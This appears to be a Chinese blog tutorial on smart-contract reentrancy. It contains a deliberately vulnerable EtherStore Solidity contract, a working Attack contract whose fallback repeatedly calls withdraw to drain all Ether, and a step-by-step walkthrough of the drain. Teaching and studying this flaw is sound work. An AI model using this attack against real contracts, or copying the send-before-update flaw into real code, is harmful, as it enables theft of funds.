当前位置: 首页 > article >正文

重入漏洞EtherStore

重入漏洞

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;

contract EtherStore {
    mapping(address => uint) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() public {
        uint bal = balances[msg.sender];
        require(bal > 0);

        (bool sent, ) = msg.sender.call{value: bal}("");
        require(sent, "Failed to send Ether");

        balances[msg.sender] = 0;
    }

    // Helper function to check the balance of this contract
    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

contract Attack {
    EtherStore public etherStore;

    constructor(address _etherStoreAddress) {
        etherStore = EtherStore(_etherStoreAddress);
    }

    // Fallback is called when EtherStore sends Ether to this contract.
    fallback() external payable {
        if (address(etherStore).balance >= 1 ether) {
            etherStore.withdraw();
        }
    }

    function attack() external payable {
        require(msg.value >= 1 ether);
        etherStore.deposit{value: 1 ether}();
        etherStore.withdraw();
    }

    // Helper function to check the balance of this contract
    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

这个被攻击的EtherStore合约,可以用来depositwithdraw以太币。withdraw函数的基本逻辑是:

  • 判断sender的余额是否大于0,是的话下一步;
  • 使用call方法给sender发送合约里属于sender所有的余额,成功发送的话下一步;
  • 将合约中属于sender的余额值清零。

在攻击合约Attack合约中,先看attack函数,基本逻辑就是先调用deposit存入1个以太,再调用withdraw取出。然而关键的代码在fallback函数中,这个fallback函数会先检测被攻击合约EtherStore的余额,如果大于1个以太,就执行withdraw
在这里插入图片描述
知道这些概念后,就可以演示攻击过程了:

  • 1.假设EtherStore合约中有10个ETH的余额;
  • 2.攻击者点击attack函数,先执行deposit于是攻击者就存入了1个ETH,接下来执行withdraw,withdraw函数前两行成功通过,开始使用call函数发送属于sender(这里是Attack合约)的余额;
  • 3.Attack合约收到余额后,根据我们上图所示,先看msg.data是否为空?是;receive是否存在?否;于是进入fallback函数;
  • 4.fallback函数中,先检测EtherStore的余额,这里应当是10 - 1 = 9 Ether,通过,于是又执行withdraw;
  • 5.withdraw函数先检测前两行,(注意,这是攻击过程的关键点!)属于sender的余额为不为0呢?答案是不为0,仍然能通过,因为上次执行withdraw函数,其实还停留在call发送Ether的那一步,下一步还没有执行,EtherStore中的balance值还没有更新,因此这里还是能通过,继续执行到下一个call发送余额,这样又把合约余额发送过去了;
  • 6.Attack合约的fallback函数又开始重复withdraw,一直等到EtherStore合约中的余额为0,Attack合约的fallback函数不能通过余额检测的时候,整个提取过程才会停止。
  • 7.执行完成,被攻击合约的所有10个ETH都被发送到了被攻击合约Attack上了。

这里的例子,Attack合约其实用receive函数也是可以的,而且合约里是可以有单独的receive函数,但是单独的fallback函数就会报warning。


http://www.kler.cn/a/105842.html

相关文章:

  • 鸿蒙原生应用开发元服务 元服务是什么?和App的关系?(保姆级步骤)
  • Figma中文网:UI设计师的新资源宝库
  • 【计算机网络安全】湖北大学-mysql事务隔离性实验
  • 道陟科技EMB产品开发进展与标准设计的建议|2024电动汽车智能底盘大会
  • React教程第二节之虚拟DOM与Diffing算法理解
  • python高级之简单爬虫实现
  • new Vue() 发生了什么?
  • 垃圾回收系统小程序
  • 一文知晓Linux文件权限
  • 面向对象设计——原型模式
  • 【Unity数据交互】JSON开山篇
  • 系列二、Spring Framework(Spring的优缺点是什么)
  • 基于STM32温湿度传感器采集报警系统设计
  • RPA厂商大比拼,哪家才更适合您?
  • word2vec两种优化方式的联系和区别
  • 如何选择专业的汽车托运平台
  • ‍ IT行业就业趋势:哪些方向更受青睐?
  • 深入理解数据结构(1)—用链表实现栈
  • RN读写json文件
  • 汽车托运是怎样收费
  • Windows平台下将exe及其dll封包到新的exe
  • 【Java 进阶篇】Java HTTP 请求消息详解
  • 分享119个ASP.NET源码总有一个是你想要的
  • 如何通过内网穿透实现公网远程连接Redis数据库
  • 如何将Mysql数据库的表导出并导入到另外的架构
  • 2023年Q3企业邮箱安全性报告:境内钓鱼邮件超过境外攻击